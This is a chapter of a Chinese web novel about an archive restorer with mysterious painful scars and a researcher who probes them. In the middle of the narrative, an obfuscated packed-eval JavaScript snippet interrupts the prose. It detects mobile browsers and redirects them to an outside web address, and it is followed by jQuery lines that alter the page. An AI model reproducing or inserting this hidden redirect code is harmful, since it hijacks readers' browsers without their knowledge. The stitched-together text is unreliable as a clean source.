凌晨三点，君荼白在疼痛中醒来。
这次的疼痛来自更深的地方，他的左肩胛骨下方三寸，是一个旧烫伤的疤痕。此刻它像被烧红的铁丝网紧贴着皮肤，每一道网格都在灼烧，刺痛沿着肋骨缝隙爬行，一直蔓延到脊椎第三节。
他蜷缩在床上，咬着牙，呼吸又浅又急。冷汗浸湿了额发，顺着太阳穴滑进枕头里。
他这样不是第一次了。但这一次，疼痛格外清晰。
他颤抖着手摸向那片皮肤。疤痕组织粗糙的触感下，能摸到几个微小的、硬质的凸起，排列成奇怪的图案——像星座，或者某种符文的笔画。
以前为什么没发现？
也许是因为以前从没这么痛过。
疼痛持续了大概十分钟，然后像退潮一样缓缓撤离，留下一种虚脱后的冰凉。君荼白瘫在床上，盯着天花板，脑子里一片空白。
直到左手腕的疤痕又开始发热。
温和的持续的热度，像在安慰，又像在提醒。
提醒什么？
他不知道。只知道每次这里发热之后，身体里那种无处可去的焦躁会稍微平息一点。仿佛这道痕是一个阀门，释放了某种积累过度的东西。
他慢慢坐起来，打开床头灯。昏黄的光线里，他低头看着自己的左手腕。月牙形的痕迹在灯光下泛着淡粉色的光，边缘规整得不自然。他伸出右手食指，轻轻按上去——
咔哒。
一声很轻的、来自意识深处的响声。
然后，一段对话的碎片毫无征兆地浮现：
“……这里要留个门。” 一个年轻人的声音，冷静得近乎冷酷，“疼的时候，就从这里放掉一点。放多了会失控，放少了会炸开。记住，每次只能三分钟。”
“谁在说话？” 另一个声音问，带着颤音。
“以后的你。” 年轻的声音说，“记住这个位置。疼，就按这里。”
画面很模糊，只有两个对坐的剪影。但君荼白能感觉到，那个带颤音的声音——是他自己的。
而那个冷静的声音……也是他自己的。
只是音色更年轻，语气更冷。
他猛地收回手，对话碎片消失了。但指尖残留着微弱的搏动感，像是皮肤下面，真的有什么东西在规律地收缩、舒张。
像一个……活着的器官。
第二天早晨，君荼白在镜子里看见自己眼下浓重的青黑。
他用冷水洗了把脸，试图让自己清醒。但手指碰到锁骨下方那片淡红色痕迹时，又一阵细微的刺痛传来。他皱起眉，凑近镜子仔细看。
那片“胎记”，颜色似乎比昨天深了一点。而且边缘出现了极细微的、放射状的毛细血管扩张，像某种根系在皮肤下缓缓蔓延。
他盯着看了很久，直到室友林澈在门外喊他：“荼白！再不出来要迟到了！”
“来了。”君荼白应了一声，快速套上衣服。又是那件灰色卫衣，习惯性地闻了闻。这一次，他感觉到有一股烟草味。
以前没有的。
或者说，以前他没注意到。
他没有再仔细确认。某种直觉告诉他：不要确认。一旦窥见，就会被卷入无法控制的洪流。
档案馆的工作日如常开始。
君荼白坐在修复室里，面前摊着《梦溪异闻录》的第二页。今天的工作是处理纸张背面的加固。他需要把特制的修裱纸裁剪成合适的形状，用稀释的糨糊涂在背面，再小心地覆盖上去，用羊毛滚轮一点点压平，挤出所有气泡。
枯燥，重复，需要极致的耐心。
但今天，他的手指不太听话。
在裁剪修裱纸时，美工刀突然滑了一下，在指尖划出一道细口。血珠渗出来，滴在白色的修裱纸上，迅速晕开一小团淡红色。
君荼白愣住。
因为血滴在纸上的瞬间，纸张上那些原本静止的墨迹——突然动了一下。
像被惊扰的虫群，细微但确实地，朝着血滴的方向聚拢了零点几毫米。
他盯着那片纸，屏住呼吸。过了大概十秒，墨迹慢慢退回原位，仿佛什么都没发生。
幻觉。
一定是幻觉。是昨晚没睡好，是疼痛的后遗症，他或许真该住院了……
修复室的门被推开了。
君荼白下意识地把受伤的手指藏到桌下，抬头看去。进来的是老陈，但他身后还跟着一个人——
沈鉴。
今天他穿了件黑色高领毛衣，外面套着实验室白大褂，没戴眼镜，头发随意地抓向后，露出清晰的眉骨和那双过分锐利的眼睛。他手里拿着一个平板电脑，目光扫过修复室，最后落在君荼白脸上。
“君先生。”沈鉴开口，声音里那种甜腻的质感淡了些，多了点公事公办的冷感，“陈主任说你在修复《梦溪异闻录》，基金会这边想做个修复过程的影像记录，作为资料保存。不介意吧？”
老陈在旁边补充：“荼白，沈先生是基金会特聘的研究员，专门研究古籍保护技术。你们聊聊，我去处理个文件。”
老陈离开了，门重新关上。
修复室里只剩下两个人，和空气里弥漫的旧纸张与化学试剂的味道。
沈鉴走到工作台边，目光落在摊开的古籍上，又移到君荼白脸上。他的视线停留得太久，久到君荼白开始觉得不自在。
“开始吧。”沈鉴说，架起平板电脑，打开摄像模式，“你照常工作，我记录。”
君荼白点头，重新拿起工具。但手指还在微微发抖，刚才划伤的地方传来一种奇怪的麻痒感，像有什么东西正顺着伤口往皮肤里钻。
他强迫自己专注。裁剪，涂糨糊，覆盖，压平……每一个步骤都放得很慢，很仔细。沈鉴的镜头一直对着他的手，偶尔调整角度，捕捉纸张的细节。
全程没有人说话。
只有工具接触纸张的细微声响，和空调系统低沉的嗡鸣。
直到君荼白处理到古籍边缘一处特别脆弱的区域。那里的纸张薄得几乎透明，墨迹完全晕开，只能勉强看出是几个字的轮廓。
他拿起最小的毛笔，蘸了一点特制软化剂，准备轻点上去。
“等一下。”沈鉴突然开口。
君荼白的手停在半空。
沈鉴放下平板，走近，从白大褂口袋里掏出一个巴掌大的金属仪器。仪器像个小型的扫描枪，前端有暗蓝色的光点。他打开开关，光点照在古籍边缘的区域。
仪器屏幕亮起，显示出一串快速滚动的数据和频谱图。
“这里……”沈鉴盯着屏幕，眉头微微皱起，“纸张纤维里有异常蛋白质残留。浓度很高，而且——是活的。”
“活的？”君荼白没听懂。
“嗯。”沈鉴关掉仪器，看向他，眼神里那种非人的审视感又回来了，“某种休眠状态的微生物。或者……更复杂的东西。你的软化剂配方里，有蛋白酶吗？”
“没有。是中性配方。”
“那最好不要直接接触。”沈鉴从工具架上拿起一副崭新的□□手套，戴上，然后接过君荼白手里的毛笔，“我来处理。你退后一点。”
他的动作很快，很专业。软化剂点在纸张上，没有引发墨迹流动。但君荼白注意到，沈鉴在点下去的瞬间，手腕有一个极其轻微的、顺时针旋转的动作——更像在画一个看不见的符号。
而那片区域的纸张，在软化剂渗透后，表面浮现出几道极淡的、银色的纹路。只出现了不到两秒，就消失了。
“那是什么？”君荼白问。
“纸张原本的防虫处理痕迹。”沈鉴说得很自然，摘下手套，扔进专门的生物废弃物垃圾桶，“明清时期有些地方会用含汞的药剂处理贵重文献，时间长了会形成这种银化纹路。”
他说得很有道理。
但君荼白不信。
因为在那银色纹路出现的瞬间，他左肩胛骨下那片疤痕又痛了一下。短暂的、尖锐的一下，像被针扎。
而沈鉴的目光，有意无意地扫过了他后背的那个位置。
仿佛他知道那里会痛。
修复工作持续到下午四点。
沈鉴记录了整个过程，期间偶尔会问一些技术问题，语气平静专业，完全是一个研究员该有的样子。但君荼白能感觉到，那双眼睛不止是观察古籍，更在观察他。
观察他的动作，他的呼吸频率，他每次触碰古籍时手指的颤抖程度。
甚至有一次，君荼白因为长时间低头而脖颈酸痛，下意识转了转头。沈鉴立刻开口：“颈椎不舒服？”
“……有点。”
“修复工作很耗神。”沈鉴说，从随身包里拿出一个很小巧的电子体温计似的东西，“张嘴。”
“什么？”
“测一下基础代谢率。长时间保持固定姿势，代谢会降低，影响注意力和手的稳定性。”沈鉴的语气不容置疑，“我是研究员，这也是数据收集的一部分。”
君荼白犹豫了一下，还是张开了嘴。
那个小仪器伸进来，压在舌下。金属触感冰凉。三秒后，仪器发出轻微的“滴”声。
沈鉴收回仪器，看了眼屏幕，数据快速滚动。
“代谢率正常，但肾上腺素和皮质醇水平偏高。”他抬眼看向君荼白，“你在紧张？”
“……有点不习惯被记录。”
“理解。”沈鉴收起仪器，但目光没有移开，“不过，身体数据不会说谎。你最近睡眠质量很差，压力也大。是因为这本古籍？”
问题来得突然。
君荼白停顿了几秒，才说：“可能吧。它……有点特别。”
“特别在哪里？”
“墨迹会变化。纸张的反应也不正常。”君荼白说完就后悔了，他不该说这些，这听起来像疯话。
但沈鉴没有笑。他反而走近一步，压低声音：“怎么变化？”
“遇湿会重组。会出现新的字。”君荼白听见自己的声音在说，像不受控制，“还有……会对应人体的位置。”
“人体的位置？”沈鉴的眼神变了，混着一种兴奋，“比如？”
君荼白没有说话。他抬起左手，指了指自己的手腕。
沈鉴的目光落在那道月牙痕上。然后，他做了一个让君荼白完全没有预料到的动作。
他伸出手，握住了君荼白的手腕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052000|194818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手指很凉。力道不大，但完全禁锢。
“这里？”沈鉴的拇指按在月牙痕的中心，用力向下压。
剧痛。
那种来自骨头深处，像有无数根细针顺着骨髓往上爬，一路扎进大脑。君荼白闷哼一声，想抽回手，但沈鉴握得很紧。
“疼？”沈鉴问，声音很轻，眼睛盯着君荼白瞬间苍白的脸。
“放手。”
“告诉我，怎么个疼法。”沈鉴的拇指又按了一下，这一次更用力，“是表皮疼，还是骨头疼？是持续性的，还是脉冲式的？疼的时候，会不会看见什么？听见什么？”
君荼白咬紧牙关，冷汗从额角滑下来。疼痛让视野边缘开始发黑，耳边响起尖锐的鸣叫，混着一些破碎的声音：
“……标记要深……深到忘不掉……”
“……疼就对了……疼才记得住……”
“……这里是门……也是锁……”
“放手！”君荼白猛地抽回手，踉跄着后退，撞在工作台上。工具哗啦掉了一地。
沈鉴站在原地，看着自己空掉的手，又看向君荼白。他的表情很奇怪——没有歉意，没有惊讶，就像完成验证了某个假设的任务一样。
“抱歉。”他说，语气里听不出抱歉，“我只是想确认一些事。”
“确认什么？”君荼白喘息着，左手腕还在突突地跳痛。
沈鉴没有直接回答。他弯腰，捡起掉在地上的几样工具，放回工作台。然后从白大褂口袋里掏出一小管药膏，放在桌上。
“涂在手腕上。能缓解疼痛。”他说，“配方是基金会实验室特制的，对……这种旧伤很有效。”
君荼白盯着那管药膏。纯白色，没有任何标签。
“你早就知道我这里会疼。你到底是什么人。”他说，不是疑问句。
沈鉴沉默了几秒。
“我确实知道很多事。”他最后说，声音恢复了那种公事公办的冷感，“包括这本古籍为什么会对你有反应。包括为什么你每周三会去那家咖啡馆。包括为什么陆予瞻会接近你，周屹会守着你。”
他每说一句，君荼白的呼吸就紧一分。
“为什么？”他听见自己问，声音干涩。
沈鉴看着他，那双妖冶的眼睛在日光灯下显得格外深邃。
“因为你是一把钥匙。一把被折断过、又强行拼起来的钥匙。而我们在找的，是那扇门。”
“什么门？”
“一扇…关着很多东西的门。痛苦，记忆，错误，还有……一些本该消失的人。”
他说完，拿起平板电脑，转身走向门口。
“今天先到这里。药膏记得涂。”他在门口停住，回头看了君荼白最后一眼，“还有，如果陆予瞻问起，不要说我来过。这是为你好。”
门开了又关。
沈鉴的脚步声渐行渐远。
修复室里恢复寂静。只有君荼白一个人，站在满地狼藉中，左手腕还在痛，左肩胛下的疤痕也在隐隐作痛。
而他面前的工作台上，那管白色药膏静静躺着。
像某种邀请。
君荼白没有涂那管看起来就不对劲的药膏。
他把它锁进了抽屉，和那枚印章放在一起。然后收拾好工作台，关灯，离开档案馆。
天已经黑了。夜风很冷，吹在脸上像刀子。他裹紧外套，快步往公寓走。
路过便利店时，他进去买了瓶水。收银员是个脸生的女孩，眼圈红红的，找钱时手在抖。君荼白接过零钱时，指尖不小心碰到了她的手背。
瞬间，一股剧烈的情绪涌进来——
恐惧。绝望。还有……肮脏感。像被什么东西从里到外污染了，怎么洗都洗不干净。
君荼白猛地收回手，零钱掉了一地。
“对不起！”女孩慌忙道歉，蹲下去捡。
君荼白也蹲下帮她捡。捡钱时，他看见女孩手腕上有一圈淡淡的淤青，像是被用力抓握过。袖口往上蹭了一点，露出小臂上几道已经结痂的抓痕。
“你……”君荼白开口，却不知道该说什么。
女孩迅速拉下袖子，站起身，把零钱塞给他，然后低头继续整理货架。她的背影绷得很紧，像随时会断掉的弦。
君荼白匆忙走出便利店，站在寒风里，手里捏着那瓶水。水很冰，但比不过他心里的冷。
那个女孩身上的情绪，他太熟悉了。
当那种感觉涌进来时，他的胃部开始痉挛，皮肤开始发痒，喉咙里涌起想吐的冲动。
仿佛他的身体记得那种感觉。
他加快脚步，几乎是小跑着回到公寓。关上门，背靠在门板上，喘息着。房间里没开灯，只有窗外透进来的城市的夜光。
黑暗中，他左手腕又开始发热。
但这次，热度里混着一种奇怪的安抚感。像有一只无形的手，轻轻按在那里，把那些外来的、肮脏的情绪一点点挤出去。
他滑坐在地上，抱住膝盖，把脸埋进臂弯里。
身体在发抖。
他的大脑像一座古老的钟，被看不见的锤子敲响了，余波在每一根骨头里回荡。